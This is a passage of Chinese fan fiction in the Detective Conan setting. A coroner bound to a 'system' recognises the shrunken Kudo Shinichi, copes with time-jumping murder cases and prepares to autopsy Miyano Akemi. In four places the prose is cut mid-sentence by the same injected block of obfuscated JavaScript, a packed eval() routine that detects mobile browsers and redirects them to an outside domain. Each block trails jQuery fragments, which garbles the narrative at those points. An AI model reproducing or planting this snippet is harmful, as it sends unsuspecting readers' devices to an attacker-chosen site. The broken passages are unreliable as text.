“宿醉的是你吧。”黑泽阵转回脸,面无表情地说。 不知道昨天非要拉幼驯染出去飙轮椅的人是谁。 松田一脸无辜,可能早就忘记自己干过啥了:“那你在这里干什么呢,毛利家的招牌怎么你了?” “你不觉得‘侦探’这两个字很碍眼吗?”黑泽阵反问。 松田阵平一阵无语:“你的症状已经扩展到全体侦探了吗?” 倒不是说只针对工藤新一有什么好的,但黑泽医生追杀工藤新一这事已然成了警界一大传说,好不好的大家都已经接受了。 但要是他对所有侦探都过敏,可真要难为米花的警察了。 “这不是什么症状,”黑泽先生像每个精神病患者那样坚持自己没有病,而且气场十分坚定,仿佛在说真理,“工藤新一要是能从米花消失,对大家都好。” “不过,”他想了想,补充道,“我可没有真的动手。” 这句补充很有意义,也很有此地无银三百两的嫌疑。 因为工藤新一失踪了。 对一般人而言,要判定失踪,往往需要一点时间,不过对于工藤新一,当他三天没出现在案发现场,情况就已经非常可疑。 更可疑的是,就算目暮警官遇到了难题,给他打电话,也没有人接,这可是从未有过的事情。 若是一般的情况,作为和“受害者”有“宿怨”的“可疑人士”,黑泽医生现在应该已经遭受了几回合的盘问,他的住所大概也得被搜查一番。 不过,黑泽医生毕竟是米花唯一的法医,大家对他的人品也相当信任,所以除了被例行公事地问了遍行程,他就只是一如往常的……在加班。 还挺遗憾的,要是这些人真去他的住所搜查,说不定能顺便发现隔壁突然出现的小鬼,逼江户川柯南搬家——算了,还是不要对米花警察的能力太有信心,早知道就该真对工藤新一下手。 其实这几天不算米花的繁忙期,加上有系统帮忙,黑泽医生都没有什么加班的必要,但他实在不想回去住在可疑小鬼的隔壁,于是干脆自己找事干,每天住在办公室里。 在他工作的时候,系统倒是颇为安静乖巧,配合也很到位,让黑泽阵心里那股无明业火消散了不少。 他当初选择来米花当法医的,就是因为这里恶性犯罪率高,能满足他进行司法解剖的需求,最初那两年生活倒是很美好,可惜随着工藤新一的活跃,黑泽医生被验尸报告淹没,再也无法享受解剖过程了。 如今把报告都扔给系统写之后,竟有种当初的生活回来了的愉快。 倒也是某种意义上的不忘初心。 有这几天的铺垫,当后来在案发现场见到邻居和邻居家的小鬼时,黑泽先生一时间竟很平静。 “我就知道他安静不下来。”他看着江户川柯南被监护人从尸体旁拎走,在心里对系统说。 系统尴尬地笑了两声:“这只是开始……” 哪怕没看过“原作”,要猜剧情也不难,而看系统这个样子,就知道随着剧情的展开,前几天那种平静的生活确实要一去不复返了。 不过此时谈论这个未免晦气,黑泽医生走到尸体旁进行简单的尸检之后,指挥鉴识人员将尸体带回去进一步检查。 虽然也许不需要进一步检查就能破案……但验尸报告总是要写的。 黑泽医生一向不会在案发现场多留,不过这次,他若有所思地看了几眼在案发现场跑来跑去的江户川柯南。 “接下来……就是侦探故事了?”他问系统。 “差不多吧……其实最重要的剧情在前面,”系统回答,“不过,从‘案件频发’的角度上来说,这才是开端。” 相处了这些时日,它终于渐渐能摸清自己宿主关心的事情了。 仿佛看到暗无 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14752267|157150||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 天日的生活在向自己靠近,与之相对的,黑泽先生平静的心情开始远去。 “如果……”他才开口,就头一次被系统给打断了。 “情况已经很糟糕了大佬,”它紧张兮兮地说,“我们还是尽量不要搞出更多事情来,忍一忍就过去了。” 虽然不知道宿主打算干什么,但想也知道不会是什么小事,系统紧张极了,故事好不容易走上正轨,现在禁不起更多的折腾。 这话倒是提醒黑泽阵了:“多久?” “呃……”系统的声音里透着一股子心虚,“半年?” 非常可疑,所以黑泽阵干脆没说话,又等了几秒钟。 “时间线上是半年……”系统果然没忍住交代了,“实际体感……不好说。” 能让这玩意说“不好说”,那肯定短不了,也就是黑泽先生历经风雨,又在米花历练过,早有心理准备,才没有当场宣布投入世界末日的怀抱。 就是没忍住又开始用看尸体的眼神看柯南了。 大概是这眼神太过熟悉,四处找线索的小鬼抬起头,对上了法医先生的视线。 他又是一个哆嗦。 黑泽先生倒是一点没有注目被发现的自觉,对江户川柯南笑了笑,然后才转身离开。 那笑容里充满了杀气。 柯南顿时觉得不对,要知道他变小之后,才是第二次见到黑泽医生,对方怎么会有这样的反应? 考虑到这熟悉的态度……工藤新一总觉得情况有点不妙。 恰在此时,监护人毛利兰终于注意到了柯南的情况,她走到柯南身边,安慰道:“你没事吧,柯南?” “啊,没,没事。”柯南连忙说道。 “你是被尸体吓到了吗?”小兰误会了他的反应,微笑道,“没事的,叔叔们很快就把尸体运走了。” “没有啦,小兰姐姐,”工藤新一无师自通了他母亲的演技,乖巧地笑道,“我觉得那个叔叔好眼熟哦。” 毛利兰顺着他的目光一看,不疑有他:“那是黑泽医生呀,我们之前遇见过的,他是我们的邻居,也是米花的法医,所以才会在这里。” “原来如此,”柯南点点头,“我去和黑泽医生打个招呼!” 他见人就要走了,忙跑着跟了上去,小兰一个错手让他跑了,有些着急地跟出来,便见柯南扯着黑泽医生的衣服下摆,后者居高临下地看着他。 巨大的身高差,显得柯南像个咬住路人裤管的小狗。 听到动静,黑泽阵转过脸来,神情倒是很平静,并没有什么被熊孩子打扰的恼火之色。 “没事,毛利小姐,”不等毛利兰说话,他先一步说道,“这孩子大概对解剖工作有些好奇,我和他聊几句。” 柯南在边上一个劲地点头,小兰只好无奈道:“打搅您了,黑泽医生。” 她和这位邻居虽然不算很熟,但对其人品倒是很放心,并不担心他会把柯南怎么样。 黑泽阵点点头,低头看着柯南,像是思考了一下,然后俯下身去,把他拎……抱……半拎半抱地拿在手上,往外走去。 看得身后的监护人一阵牙酸——黑泽先生大概从来没带过小孩吧。 13.在混乱的时间中 虽然是自己追出来的,但真到了该说话的时候,柯南反而有些不知所措了。 说到底他也是一时冲动,那种直觉似的东西怎么也不能拿出来说。 ……而且黑泽先生也太不擅长抱小孩了吧,还是说他打算用衣领把我勒死? 柯南正琢磨着要如何换个正常点的姿势,突然听黑泽阵凉凉地说:“我还以为你终于死了。” 江户川柯南小小的身体猛地一震,姿势上的那点不适顿时被抛之脑后,他努力仰头,只能看到法医的下巴:“你……” 不过下一刻黑泽先生就低下头看向他了,那双眼睛里没有丝毫感情——好在也没有什么杀意:“你干什么去了,爱丽丝?” 这男人的幽默感总是来得很突然,柯南忍不住露出一点苦笑,他纠结了几秒钟,还是问道:“你是怎么认出我的?” 算是承认了自己的身份。 “我早就说过,你和案子的关联太大了,”黑泽阵的脸上浮现出冷笑,“这种愚蠢的,死亡的气息,比任何东西都清晰。” 江户川柯南目瞪口呆:“哈?” 变成小孩这样的事情太过离奇,他完全没想到自己会被一眼认出来,还挺期待对方能说出什么了不得的推理过程——曾经的交流让他对黑泽先生的推理能力有些了解。 结果竟然是这么唯心的理由吗! 而这么唯心的结论竟然还是对的…… 小侦探的世界观都有点受到冲击了。 黑泽阵自认为不算说谎——即便没有系统剧透,他在案发现场看到这小鬼的时候,也该有所怀疑了。 不过看着变成小孩的工藤新一满脸震惊的样子,他还是感觉到了一点乐趣,可能欺负小孩也是一种解压手段吧。 于是黑泽先生停顿了一会儿才说:“轮到你回答了。” 柯南犹豫了一下,他并不想把别人牵扯进自己遭遇的事情当中,但又觉得黑泽先生在某种意义上来说算是非常可靠,透露一点也未尝不可…… 当然,最重要的是人家都问到头上了,不说几句他怕自己再也回不去毛利家。 “我不小心目睹了一些地下组织的交易,”柯南思索后比较含糊地说,“被喂了一种药之后,就变小了。” 黑泽阵脸上的表情完全看不出他是否相信:“游乐园那天?” “是,”这事柯南没瞒着,毕竟工藤新一哪天失踪的一问可知,“对方应该不知道我还活着,我为了躲避对方的追查,才会化名……今天这个案子真的跟我没关系,委托人是来找毛利叔叔的啊。” 他还知道辩解这种事情,看来所谓的追查并不怎么麻烦,黑泽阵冷笑一声,对这无力的辩解倒是没不在意。 “黑泽先生,您可千万不要把这件事说出去啊,”柯南则终于反应过来,“我不知道对方是个什么组织,万一引来什么危险的话……” “不会的。”黑泽阵打断他的话,听不出回答的是“不会说出去”还是“不会有危险”。 他俯身把被举得生无可恋的柯南放回地上,垂眸看着他。 “你的冒险和我没有关系,”黑泽阵端详着这位“主角”,“要是你愿意离开米花,我很乐意当没见过你。” “这个……”柯南面露些许尴尬,他还指望找到那些人把自己变回去,当然不能在这时候离开,“我会尽快解决这件事的。” 可惜了,黑泽先生刚被系统剧透过,深知这句“尽快”的含金量。 他有点嫌弃地轻嗤一声,看在对方刚倒了霉的份上,没有再吐出什么恶劣的言语,转身走了。 黑泽先生走得十分突然,柯南一愣之下,倒也没有太意外。 ——他完全没料到自己会这样被认出来,与此相比,也没有什么值得意外的了。 最古怪的是,他竟然完全不觉得黑泽先生那个唯心的解释有问题…… 这么一想,某种程度上来说,黑泽医生对工藤新一而言,也是非常特殊的存在—— 他都怀疑我能召唤案子了,能通过案子察觉我的身份难道不是很正常吗! 而一个本来就活在玄幻世界观里的人,无障碍接受高中生变小孩这件事又有什么问题呢? 而且虽然被看破了身份,但工藤新一心里倒并不是很担忧。 过去的相处让他对黑泽医生的处事风格有些了解,而那次莫名其妙被找上门后的相处,又使得两人的关系多少有了一些变化。 工藤新一原先像很多人一样,以为黑泽医生对自己的仇视只是种发泄渠道,在和他谈过之后,才意识到那背后诡异的认真。 现在他真的如对方所说,被案件“吞没”了,黑泽先生却反倒没有对此嘲弄什么,工藤新一总觉得,要不是他变成了小学生,其实应该有机会让黑泽先生结束对他的敌视。 但现在想这些还是太远了,眼下,他还有更急切的事情需要去关注。 目前仍然坚信自己很快就能变回来的工藤新一充满信心地想着。 “说起来……我还以为你会嘲笑他终于翻车了呢。”系统说。 “这有什么意义?”黑泽阵反问,“既然是故事的一部分,总有解决办法。” 而他一点也不想关心这个,越关注就会越想动手,很不利于心理健康。 他又略带嘲弄地笑了声:“除非这是你干的。” “不是啦,”系统说,“虽然是这么想过……但你知道,我想要做任何事情都是要通过你的。” “加上这次运气还不错,我就没做什么。” 如果它说的是每次使用都会出现的系统面板,那大概确实如此,至于它在意的是什么……其实和他没有多少关系。 黑泽阵固然算不上信任系统,但目前也还没兴致追究它到底隐藏了什么。 总归目前合作愉快,它在大方向上也还算诚实,那就足够了。 “不过,过了这个坎就没问题了,”系统又以轻快的语调说道,“接下来,我只需要关注世界末日——还有验尸报告就行。” 如此两件事被放在同一个句子里,多少显得有点诡异。 黑泽阵没有接话,他给自己点了根烟,做好了被工作淹没的准备。 这天算不上很特别。 虽然是系统所谓“案件高发”的开端,但除了有工藤新一参与的这个,之后被认定是自杀的案子之外,当天的米花只发生了一起凶杀案,只是由于案子发生在半夜,黑泽医生不得不继续加班。 正巧他为了避开晦气的小学生,这几天就住办公室,加班十分便捷。 黑泽医生工作的时候,系统一向是安静的,他自己投入到工作当中,也不会注意时间,因此,在完成这场加班尸检之时,他才突然意识到,新的一天来临了。 但并不是因为看时间意识到的。 黑泽阵站在解剖台前沉默了好一会儿,才对系统说道:“你所说的‘时间线’和‘体感’,就是这个意思?” 在过去的一年时间里,有不少人认为黑泽先生的精神有点不对劲。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14765529|157150||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >这当然主要是因为他和工藤新一的那点事,也有人觉得他这个脾气很可能是压力过大的表现。 但因为在米花工作的警方人员或多或少都有点压力过载症状,大家就算觉得黑泽医生精神不太对,也至多建议他去看看心理医生。 而黑泽阵自己当然不觉得自己有什么问题。 ——直到刚才。 他清晰地感觉到,自己仿佛被劈成了两半,大脑的一部分清楚地记得昨天是星期三,现在正值夏末,另一部分则当仁不让地表示如今已经深秋,今天是周五。 明明两个时间点是割裂的,事件却很连贯,刚刚解剖完成的这具尸体还零碎地躺在这里,没整理完全。 如果不是他真的疯了,那就是这个世界已经不再正常。 不过,如果是前者的话,说不定连系统都是他的想象而已。 “这大概是我的问题,”系统有些慌乱地说,虽然黑泽阵没有详细问,但它显然是知道会发生什么事的,“这个世界,在故事开始之后,会存在类似于单元剧的那种,时间线混乱和重叠的现象,原本你作为故事里的人物是不会感知到这一点的,但因为我是高维的存在,你作为我的宿主,自然能感知到原本的时间线……” 黑泽阵在它略显混乱的叙述中沉默了一会儿:“你应该早点告诉我。” “这不太好解释,”系统心虚地说,“所以我就想,不如让你先感受一下……” 它的声音越来越轻,显然也觉得自己做的有些问题,一向被认为脾气不好的黑泽先生倒是没有生气,他的语气依然很平静:“没有解决办法?” “我可以时刻提醒你哪个是现在‘正确’的时间点,”系统说,“但很难屏蔽掉你对过去的感知。” “不必,”黑泽阵摇头,“我不至于连这都分不清。” 一点认知上的混乱,还构不成什么问题,事实上,比起系统预言中会骤然增多的案子,这种事情甚至不能如何影响他的心情。 “只是……”他微妙地停顿了一下,“我没想到你甚至无法预知明天的日子。” 这个自称“高科技”的系统,到目前为止,除了在他脑子里说话,和“拯救世界”之外,真的没有展现出任何一点“高科技”的成分,就连验尸报告都像是它自己“手写”的。 天气预报都做不了,实在很对不起它自己的狂言。 “我不能,”系统倒是很坦诚,“我唯一能预知的就是世界末日。” “但是,要是你愿意使用道具的话,还是有不少能帮到你的东西呢。”它又补充。 黑泽阵挑眉:“那么,有能实时播报正确时间线的道具吗?” 系统十分尴尬,没想到黑泽先生第一次对它的道具有了兴趣,自己却只能说:“这个确实是没有……” 黑泽阵没太意外,他早就觉得那个系统商城里都是些没用的东西。 “不过,”他把话题拉回去,“在这种情形下,其他人却能正常地生活吗?” “并不是每天都会这样的,还是有一些连续的时间点,”系统继续解释,“而且,对你来说,切换是一瞬间的事情,但对其他人来说,他们的认知中其实有着一段完整的经历……故事中的人是不会感觉到什么的。” 它顿了顿,说道:“至于你,宿主,你在和我绑定之后,其实就和这个世界有隔阂了。” 这话语略显惆怅,而黑泽阵听闻此言,却只是对着解剖台微微挑眉,轻笑道:“连时空都能隔开,却隔不开工作啊。” 14.米花町的新纪元 我为什么没有在这个蠢系统出现之前就杀掉工藤新一呢? 黑泽阵严肃地想。 他已经连续加班了半个多月,体感时间的半个月,这半个月里出现了夏秋冬三个季节,然而据系统所说,真正的时间线大概连一周都还没过去。 虽然因为写报告的部分被交给系统,黑泽医生自己体感的工作强度其实比它出现前还轻松了一点,但真从数据上来看,案件发生的频率无疑是在上升的。 而且看起来……还远没有上升到尽头。 真的没有人愿意杀掉工藤新一试试吗? 黑泽阵又严肃地想。 加班的当然不止他的一个人,事实上整个米花警署都要疯了,不只是刑事课——当然那是最忙的,但在刑事课忙得飞起时,其他部门显然也不可能闲着。 这些人,即便他们的时间感知能力已经被扭曲了,疲惫感总做不了假,真的没有一个勇士愿意试试解决掉罪魁祸首吗? 不过这确实比较困难,因为工藤新一已经变成小学生了,一般人大概最多会关注到毛利小五郎,黑泽阵继续严肃地想:不知道干掉毛利小五郎能不能起到一点效果。 法医先生一边这样天马行空地想着,一边总算完成了今日……昨日的工作,给自己点了根烟续命。 系统已经彻底安静了,按理说光是写报告不至于让它如此,可能是因为太人性化,以至于面对重复的劳动也会像人类一样感到厌烦和崩溃。 黑泽阵靠在墙边抽完一支烟,见仍没有新的尸体出现,便决定出去觅食。 米花警署天天加班,自然有送饭业务,不过黑泽医生工作的时候不喜欢有人打扰,白天送过来的盒饭往往没动过就被收走了。 他忙成这样,也没空出去买东西吃,好在这个时间点,刑事课想必还有人在。 日本法医的解剖工作一般是在医院进行,不过,对于米花町,如果也这样做,显然很不方便——早在黑泽医生还没有来米花工作的时候,这里的警署旁便已经设有专门供法医工作的地方,等到他来了之后,更是连太平间都安排了,就差火葬场,可谓是一条龙服务。 也是因此,黑泽医生前往警署的办公处十分方便,警员们也早就习惯了他的出现。 不出所料,刑事课办公间里仍是灯火通明。 黑泽医生熟门熟路地推开门时,目暮十三正十分无奈地说着:“本部也派不出更多人了,我们再努力一下吧。” “这根本不是‘努力一下’的问题吧……”高木涉小声嘀咕。 要是光靠努力就行的话,米花现在应该民风淳朴才对。 “不要说丧气话!”目暮瞪他,“我们今天不就成功解决案子了吗!” 高木缩了缩脖子,在心里嘀咕:那也是在毛利先生的帮助下…… 他看到黑泽阵进来,立刻大声招呼以转移目暮的注意力:“黑泽医生,尸检结束了吗?” “报告马上出来。”黑泽阵答了这么一句,目光一扫,直接向放着盒饭的桌边走去,拿起一盒放进微波炉。 他在此如入无人之境,倒也没人在意,目暮轻咳一声:“黑泽医生,你也还没走啊。” 黑泽阵转过头,对他的没话找话很无语:“你要是当初听我的,就不会加班到现在了。” “当初?”目暮没明白他指的是什么。 他的部下倒是反应很快:“可是,工藤新一都失踪了……” “是啊,”黑泽阵冷笑一声,“所以你们已经失去了杀死他的机会。” 目暮大声咳嗽起来,虽然工藤新一失踪之后他又找到了一个好用的工具人,但他对那位工具人二代目还是很有好感的:“黑泽医生,我们是警察,工藤老弟又不是犯人……就是因为你总是说这种话,工藤老弟失踪的时候,才会被怀疑啊。” 黑泽阵把热好的饭拿出来,冷哼道:“我要是动手,可不会是什么‘失踪’。” 黑泽医生没再多说,带着自己的食物离开了,被此事一打岔,目暮没了鼓舞气势的心情,摆手让大家继续工作,办公间里一时安静下来。 青木朝阳也开始工作,但还是忍不住有些震惊。 作为米花町的新人,他虽然和见过这位黑泽医生好几次,也曾听说过对方对工藤新一的敌意,但完全没想到,竟然是这么个画风。 虽然黑泽医生一直很吓人,但在谈起工藤新一的时候,他那种对杀戮习以为常的态度,就好像……真的会毫不犹豫地把那个侦探杀死一样。 警署里的其他人就没有什么反应的吗? “前辈……”他忍不住问身旁的高木,“黑泽医生他……一直都……” “啊?”高木愣了下,“黑泽医生偶尔会来拿饭,你不是也见过吗?” “不是这个啦,”青木有些无奈,“他可是说要杀人啊!” 高木又是一愣,然后忍不住笑起来:“哈哈哈,你也被吓到了?” “我当初也吓了一跳呢,”他颇觉有缘,十分高兴地说道,“不过后来就意识到,黑泽医生只是在抒发压力而已,其实他和工藤新一的关系还挺好的呢。” “啊?”青木更震惊了。 “他都直接去工藤家拜访了,不也没有对工藤君做什么吗?”高木笑道,“而且,一般人哪里会在要杀人之前,这么光明正大地在警察面前预告啦!” “是,是吗……”青木往四周一看,见听到高木发言的众人纷纷点头,顿时觉得有问题的好像是自己。 新人警员并不知道,此时还有个和自己感同身受的人——不是人。 “你一直就这么直接跟所有人说要干掉工藤新一的吗?”系统大为震撼。 “有什么问题?”黑泽阵抓紧时间吃饭,不是很想理它。 他完全不觉得这是什么需要隐瞒的事情,一向是光明正大、理直气壮的。 若非如此,这件事也不会人尽皆知,以至于大家都觉得是他脑子有问题。 而工藤新一能一直好好地活的到系统出现,比起人们构想中的种种解释 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14773285|157150||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,更深层的原因,是他意识到自己产生杀意的因由同行动可能的后果相冲突,于是在理智上选择克制。 当然,从结果上来说,人有时候是该冲动一下的。 “难怪工藤新一失踪那几天,大家看你的眼神都怪怪的……”系统嘀咕。 虽然如此,但大家只是用奇怪的眼神观望,却并未真的把黑泽先生当作可能的嫌疑犯盘问,该不该说他在米花警界的信誉有点太高了呢? 万一真的是他把工藤新一干掉了,岂不是完美犯罪? “虽然处理过的案件很多,但米花的警察能力并不怎么样。”黑泽阵这话一出口,系统差点怀疑它不小心把芯里话说出来了。 好在他接着说:“否则他们早就应该觉察到工藤新一和江户川柯南的关系。” 系统意识到他在回答自己的话,于是应道:“毕竟是侦探故事,要是警察太厉害的话,还要侦探干什么呀。” “话是这么说,”黑泽阵说道,“但工藤新一现在遭遇的事情,怎么想都不是这些人能处理的吧?” 都返老还童了,背后想必并不简单,让这帮连普通杀人犯都逮不住警察去处理,未免强人所难。 “这个嘛,更可靠的队友总是会有的,”系统顿了顿,突然道,“说起来,宿主你看起来就很像是一个可靠的队友啊。” 黑泽阵:? “你之前还说我是反派。”他指出。 “故事都这样了,反派跳反也很正常嘛,”系统毫不在意地说,“你可是第一个自己发现工藤新一身份的人哎,还出场得这么早,多么合理的队友配置啊!” 它成功地让黑泽先生的脸色变得糟糕起来。 他现在真的有点后悔没有干掉工藤新一了。 能让黑泽先生产生后悔这么珍贵的情绪,工藤新一应该为此感到骄傲。 也许他应该试着去绑架江户川柯南,不知道这能不能有效减少凶杀案的发生…… 开玩笑,社畜哪有时间去绑架人。 且不提案件数量,就这毫无规律的案件发生时间,已经让黑泽医生被迫拥有了很多没有意义的不在场证明。 他甚至完全没必要在意今天是星期几,毕竟每天都是一样的——除了双休日发生奇怪案件的概率更高一点。 不过究竟哪天会是双休日也无法捉摸,每天的日期都很随机,还会重复。 据系统说,越是节假日,重复的可能性就越高。 案件的奇怪程度也更高。 黑泽医生很难想象,要是自己没有遇到系统,此时过的会是什么样的生活,认知虽然混乱,但时间的衔接仍不可避免,米花警察都会因为连轴转而萎靡,他难道不会因为今天是夏天而自己刚解剖的尸体是冬天死的而惊讶吗? 但考虑到这是个以动画故事为基础,靠童话故事拯救的世界,其居民不太正常也可以理解。 这种碎片化的时间下世界都在正常运转,可见并不需要操心。 ——也没空操心就是了。 15.明美 必须承认的是,人的适应能力确实是无穷的,在层出不穷的案件当中,黑泽医生感觉自己已经慢慢习惯了,甚至开始能总结出一定的规律。 这个世界的时间轴混乱,偶尔会有一段连贯的时间,但那基本上都意味着更大的案子,以至于现在他看碎片化的时间都很亲切。 好在系统的时间还是线性的,黑泽先生每天随手记录自己解剖的尸体数量,看着数字波动上升,心态渐渐毫无波动。 无论如何,不必再写报告对他来说是个重大利好,只是验尸工作的话,法医先生还是很乐意完成的。 他拿出刚到米花那段时间的投入程度,在这离谱的案发频率间寻找平衡,如此过了月余,黑泽医生甚至都能抽时间出去吃晚饭(然后再回去加班),再进化下去,回家睡觉顺便绑架邻居家小孩也指日可待。 “那是因为报告都是我在写吧……”系统的声音有气无力,比宿主更像是个社畜。 “这是你该做的。”黑泽阵毫无波澜地说。 系统哑然了几秒钟,才小声说:“也不知道末日什么时候才会来……” 用写报告交换拯救世界,听起来怎么都是自己赚了,怎么具体实现的时候感官完全相反啊? 它都开始理解刚见面的时候,黑泽先生面对世界毁灭而色不改的气魄了。 系统很有flag风味的抱怨并未换来末日警报,倒是黑泽先生的手机响了起来。 医生扫了眼来电,神情毫不意外。 他接起电话直接道:“尸体在哪?” 这才是和黑泽医生通话的正常流程,对面的警员十分流畅地报了个旅馆的名字,又报出具体地址:“您在警局附近吗?我们正要出发。” 黑泽阵略微估了下位置:“我自己去。” 今天果然不出意料又得加班,但也不差这点时间了,黑泽先生还是先吃完了晚饭,才结账出门。 刚打上车,电话又响了。 “新的尸体?”他语气中全是见怪不怪的淡然,引得出租车司机惊诧地看了好几眼。 “啊,是,”这次打电话的大概是个新人,语气有些慌张,“那个,我们在码头,救护人员刚才确认她已经死了。” 短时间内出现多个尸体的事情之前不是没有发生过,黑泽医生没忙着答话,先对司机说了声:“改道去米花医院。” 脸色慌张的司机连连点头,黑泽阵没在乎他的想法,继续对电话那头说:“我不过去了,现场查验结束之后,直接把尸体送去医院,现场判断需要解剖吗?” “可能……需要吧,”小警员不是很有把握地说,“她好像是被枪杀的……” 也许是有经验的警员都去前一个案发现场了,这个涉及枪械的案子才轮到他来线上沟通,黑泽先生不想浪费时间,应了声“那直接送解剖室”,就挂断了。 系统小声地念叨着什么“码头,女性尸体,啊……”之类的话,黑泽阵懒得理它,发消息联系前一个案发现场,又通知医院值班人员。 米花医院那里自然是有几个兼职法医的,黑泽医生没来之前,都忙得想跑路,后来好些了,最近随着案件数量的上升,又有崩溃的趋势。 但目前总还正常,听说有任务过来,很快就有正巧在值班的医生表示可以一同进行解剖。 见黑泽先生安排好工作,系统这才说话:“时间过得比我以为的快一点啊,你应该不用工作三十年了。” 黑泽阵本来正要拿烟,这下顿住了:“三十年?” 难怪这玩意一直对具体的时间支支吾吾的,竟是如此,果然如此。 “没有三十年!”系统连忙大声道,“也没有十年,我觉得五年差不多了,有可能更短。” 这信誓旦旦的发言还算有用,至少黑泽先生僵住的动作恢复了正常——时间线乱成这样,三五年的倒还无所谓,真要折腾三十年,他就要好好考虑一下之后的职业规划了。 “那么,之后呢?”黑泽阵把烟拿在手上,问道。 “之后?”系统没明白,“之后当然就恢复正常……啊。” 它恍然大悟:“故事结束的话,米花的案发率还是会比其他地方高一些,但也会趋于正常……应该不会到让你想干掉工藤新一的地步。” 谈话间米花医院已经到了,黑泽先生付了钱,在司机如释重负的目光中下车,换了话题:“今天的案子很特殊?” 他给了台阶,系统立刻就坡下驴,不再继续时间问题了:“我没猜错的话这应该是宫野明美事件,很重要的,虽然现在故事已经不知道啥样了,这段剧情也不知道是怎么走出来的……但反正还是很重要的。” “宫野明美,那个女死者?”黑泽阵低头把烟点上。 “应该是的……”系统不像之前那样一惊一乍了,但还是不太聪明,“你不认识她啊?” “我为什么要认识她?”黑泽先生反问。 “唉,早该想到的……”系统嘀咕,“但是很怪嘛,原本杀掉她的应该是你啊。” 这样的劲爆发言,让黑泽阵露出了饶有兴味的表情:“这么说,我这个反派当得还不错?” 感觉参与了不少重要事件。 “那是肯定的!”系统又给了他一个大拇指,“所以发现你成了法医的时候,我就知道这世界已经不好了。” “哎你想不想知道自己在故事里是做什么的?”它突发奇想,兴致勃勃地说,“我也有你的资料哦!” 黑泽阵的那点兴趣却没有延续至此,只随口道:“杀手吗?” “?”系统感觉自己在卖关子这件事上就没赢过,“这你又是怎么知道的?” 它顿了顿,为自己挽尊:“但感觉也不止是啦……你超级劳模的。” 甚至可以说,偌大一个组织,就没有他不做的事情吧。 黑泽医生笑了声:“和现在差不多啊。” 黑泽医生不是第一次来米花医院办公,没几分钟,他就来到解剖室前,并毫不意外地在这看见了熟人。 曾经,毛利小五郎这人在黑泽阵眼中只是个不太熟的邻居,虽然和瘟神工藤新一之间有那么点七拐八拐的联系,但尚不足以影响什么。 现在则毫无疑问已经是二号瘟神了,在知道连死两个人的时候就应该想到他会出现的。 不过与以往比起来,今天这位不靠谱的侦探看起来安静很多。 而且……黑泽先生的目光扫过坐在椅子上的江户川柯南:这个看起来也很沮丧,该说不愧是所谓的“重要事件”吗? “黑泽医生,”有警员迎上前来,“我们已经把尸体送进去了,这是初步的现场报告。” 医生没再关注侦探的心理问题,接过报告简单扫视了一下:“两具尸体都要解剖?” “是,”警员回答,“初步认为这两起案件背后可能还有未知的人物,希望能通过司法解剖得到一些线索。” 提到背后的“未知人物”,黑泽医生扫了眼看过来的柯南,大概也就明白了。 再结合系统所说,人原本是自己杀的……难怪它会对自己认识工藤新一那么惊讶。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14783934|157150||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我知道了,”黑泽医生没有想下去,点头道,“会尽快出报告的。” 警员离开之后,这里就剩下了瘟神组合。 黑泽医生很想假装自己没看到他们,但江户川柯南已经蹑手蹑脚地走过来了。 虽然这段时间除了在案件现场擦肩而过之外,他没有和这倒霉侦探有再多的交流,但先前直白地指出工藤新一的身份,显然还是造成了一些不良后果。 比如被对方擅自当作理想的交流人选。 “你要是想知道尸检结果,可以等出报告之后去问警察,我记得你们很熟。”黑泽医生堵在门口换装备,不想放人进解剖室。 “我……”柯南的情绪有些低落,“雅美小姐和那个组织有些关联,如果不是我调查的时候太不小心,也许她就不会死了。” 这名字和系统说的不同,多半是假名,黑泽医生对此不甚在意,也无意为侦探提供心理抚慰,他戴上手套,漫不经心地说:“原来如此。” 面对这近于冷漠的态度,江户川柯南幼小的脸上显出了十分成熟的苦笑:“黑泽医生,我以前还是想得太浅了,对方是非常危险的存在,我不想……把这份危险带给更多的人。” 医生一边戴防护帽一边有些惊诧地看过来:“我说让你搬家你是一点没听进去啊。” 